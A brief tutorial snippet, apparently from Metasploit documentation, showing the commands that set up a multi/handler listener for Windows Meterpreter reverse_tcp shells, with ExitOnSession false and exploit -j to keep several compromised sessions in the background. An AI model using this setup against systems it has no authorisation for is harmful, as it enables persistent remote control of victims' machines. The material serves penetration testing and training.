Examples

To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. For example, for meterpreter/reverse_tcp payload,

msf>use exploit/multi/handler  
msf>set payload windows/meterpreter/reverse_tcp  
msf>set lhost <IP>  
msf>set lport <PORT>  
msf> set ExitOnSession false  
msf>exploit -j  

The -j option is to keep all the connected session in the background.
